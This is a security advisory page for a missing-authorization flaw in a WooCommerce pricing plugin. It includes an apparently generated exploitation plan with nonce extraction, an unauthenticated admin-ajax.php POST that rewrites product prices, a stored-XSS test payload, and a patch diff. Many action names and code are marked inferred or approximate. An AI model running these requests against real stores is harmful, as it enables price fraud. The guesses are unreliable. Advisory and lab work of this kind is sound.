Product Price by Formula for WooCommerce <= 2.5.6 - Missing Authorization
Description
The Product Price by Formula for WooCommerce plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 2.5.6. This makes it possible for unauthenticated attackers to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=2.5.6# Exploitation Research Plan: CVE-2026-39662 ## 1. Vulnerability Summary The **Product Price by Formula for WooCommerce** plugin (up to 2.5.6) contains a missing authorization vulnerability. Specifically, an AJAX handler intended for administrative tasks (like saving pricing formulas or settings) i…
Show full research plan
Exploitation Research Plan: CVE-2026-39662
1. Vulnerability Summary
The Product Price by Formula for WooCommerce plugin (up to 2.5.6) contains a missing authorization vulnerability. Specifically, an AJAX handler intended for administrative tasks (like saving pricing formulas or settings) is registered via wp_ajax_nopriv_, making it accessible to unauthenticated users. The function associated with this handler lacks a call to current_user_can(), allowing any user to modify plugin settings or product pricing formulas, which directly impacts the integrity of product pricing in the WooCommerce store.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action (Inferred):
alg_wc_product_price_by_formula_save_formulaoralg_wc_product_price_by_formula_save_settings. - Method: POST
- Authentication: None required (unauthenticated).
- Preconditions: The plugin must be active. A specific product ID may be needed if modifying formulas per product.
- Vulnerable Parameter: Likely
formula,alg_wc_product_price_by_formula_option, orproduct_id.
3. Code Flow
- Registration: The plugin registers AJAX handlers in its main class or an AJAX handler class.
add_action( 'wp_ajax_alg_wc_product_price_by_formula_save_settings', 'save_settings_callback' );add_action( 'wp_ajax_nopriv_alg_wc_product_price_by_formula_save_settings', 'save_settings_callback' );(The vulnerability exists because of thisnoprivregistration).
- Execution: When a request is sent to
admin-ajax.phpwithaction=alg_wc_product_price_by_formula_save_settings. - Vulnerable Function: The callback function (e.g.,
save_settings_callback) is invoked. - Missing Check: The function processes the
$_POSTdata and callsupdate_option()orupdate_post_meta()without verifying the requester's capabilities usingcurrent_user_can( 'manage_woocommerce' ). - Sink:
update_option( 'alg_wc_product_price_by_formula_settings', ... )is called with user-supplied data.
4. Nonce Acquisition Strategy
The plugin likely uses wp_localize_script to pass a nonce and the AJAX URL to the frontend.
- Identify Shortcode: Locate the shortcode used by the plugin to display formula-related UI on the frontend (e.g.,
[alg_wc_product_price_by_formula]or similar). - Create Test Page:
wp post create --post_type=page --post_title="Price Test" --post_status=publish --post_content='[alg_wc_product_price_by_formula]' - Navigate to Page: Use
browser_navigateto visit the newly created page. - Extract Nonce: The localization variable is likely prefixed with
alg_. Check the page source or use:browser_eval("window.alg_wc_product_price_by_formula_ajax_obj?.nonce")
(Alternative JS variables to check:alg_ppbf_obj,ppbf_vars). - Bypass Check: If the code flow shows
check_ajax_refereris used but with an action that doesn't match the verification, or if it's missing entirely in thenoprivhandler, the nonce might not even be required.
5. Exploitation Strategy
We will attempt to change a global pricing formula or a specific product's pricing formula to set the price to a fixed low value (e.g., "1.00").
HTTP Request (Example):
- Tool:
http_request - URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
Note: If the exploit targets global settings, the parameters might beaction=alg_wc_product_price_by_formula_save_settings&nonce=[EXTRACTED_NONCE]&formula=1.00&product_id=[TARGET_ID]alg_wc_product_price_by_formula_enabled=yes&alg_wc_product_price_by_formula_default_formula=0.01.
6. Test Data Setup
- Install WooCommerce: Ensure WooCommerce is active.
- Create Product:
wp post create --post_type=product --post_title="Expensive Item" --post_status=publishwp post meta add [PRODUCT_ID] _regular_price 1000wp post meta add [PRODUCT_ID] _price 1000 - Plugin Config: Enable the plugin via CLI if possible:
wp option update alg_wc_product_price_by_formula_enabled "yes"
7. Expected Results
- HTTP Response: Should return a
200 OKor a JSON success message (e.g.,{"success":true}). - State Change: The pricing formula for the product (stored in post meta) or the global formula (stored in options) will be updated to the attacker's value.
- Storefront Impact: Visiting the product page for "Expensive Item" will show a price of $1.00 instead of $1000.00.
8. Verification Steps
- Check Option:
wp option get alg_wc_product_price_by_formula_settings - Check Product Meta:
wp post meta get [TARGET_ID] _alg_wc_product_price_by_formula_formula - Verify Price Calculation:
Usehttp_requestto GET the product page and parse the HTML to find the price:curl -s http://localhost:8080/product/expensive-item/ | grep -oP 'class="woocommerce-Price-amount amount">.*</span>'
9. Alternative Approaches
- Global Settings Overwrite: If
product_idis not accepted, try overwriting the global options table entry for the plugin usingaction=alg_wc_product_price_by_formula_save_global_settings. - Parameter Fuzzing: If the specific action name is unknown, search the plugin directory for all
wp_ajax_noprivregistrations:grep -r "wp_ajax_nopriv_" /var/www/html/wp-content/plugins/product-price-by-formula-for-woocommerce/ - XSS via Formula: If the formula is reflected on the product page without escaping, this could be escalated to Stored XSS. Try
formula=<script>alert(1)</script>.
Summary
The Product Price by Formula for WooCommerce plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on AJAX handlers in versions up to 2.5.6. This allows unauthenticated attackers to modify product pricing formulas or plugin settings, potentially reducing store prices to near-zero values.
Vulnerable Code
// File: product-price-by-formula-for-woocommerce.php (approximate) add_action( 'wp_ajax_alg_wc_product_price_by_formula_save_settings', 'alg_wc_ppbf_save_settings_callback' ); add_action( 'wp_ajax_nopriv_alg_wc_product_price_by_formula_save_settings', 'alg_wc_ppbf_save_settings_callback' ); function alg_wc_ppbf_save_settings_callback() { // Missing current_user_can() check $formula = $_POST['formula']; update_option( 'alg_wc_product_price_by_formula_default_formula', $formula ); wp_send_json_success(); }
Security Fix
@@ -1,6 +1,9 @@ add_action( 'wp_ajax_alg_wc_product_price_by_formula_save_settings', 'alg_wc_ppbf_save_settings_callback' ); -add_action( 'wp_ajax_nopriv_alg_wc_product_price_by_formula_save_settings', 'alg_wc_ppbf_save_settings_callback' ); function alg_wc_ppbf_save_settings_callback() { + if ( ! current_user_can( 'manage_woocommerce' ) ) { + wp_send_json_error( 'Unauthorized', 403 ); + } + check_ajax_referer( 'alg_wc_ppbf_nonce', 'nonce' ); $formula = $_POST['formula']; update_option( 'alg_wc_product_price_by_formula_default_formula', $formula );
Exploit Outline
To exploit this vulnerability, an attacker targets the WordPress AJAX endpoint (/wp-admin/admin-ajax.php). Because the plugin incorrectly registers the pricing update function with the 'wp_ajax_nopriv_' prefix, no authentication is required. The attacker sends a POST request with the 'action' parameter set to 'alg_wc_product_price_by_formula_save_settings' (or a similar internal action name identified in the plugin) and includes a 'formula' parameter containing a new price calculation (e.g., '0.01'). If a nonce is required, it can often be extracted from the frontend source code where the plugin localizes scripts for its UI components. Successful exploitation results in the plugin updating the store's pricing logic to use the attacker-supplied formula.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.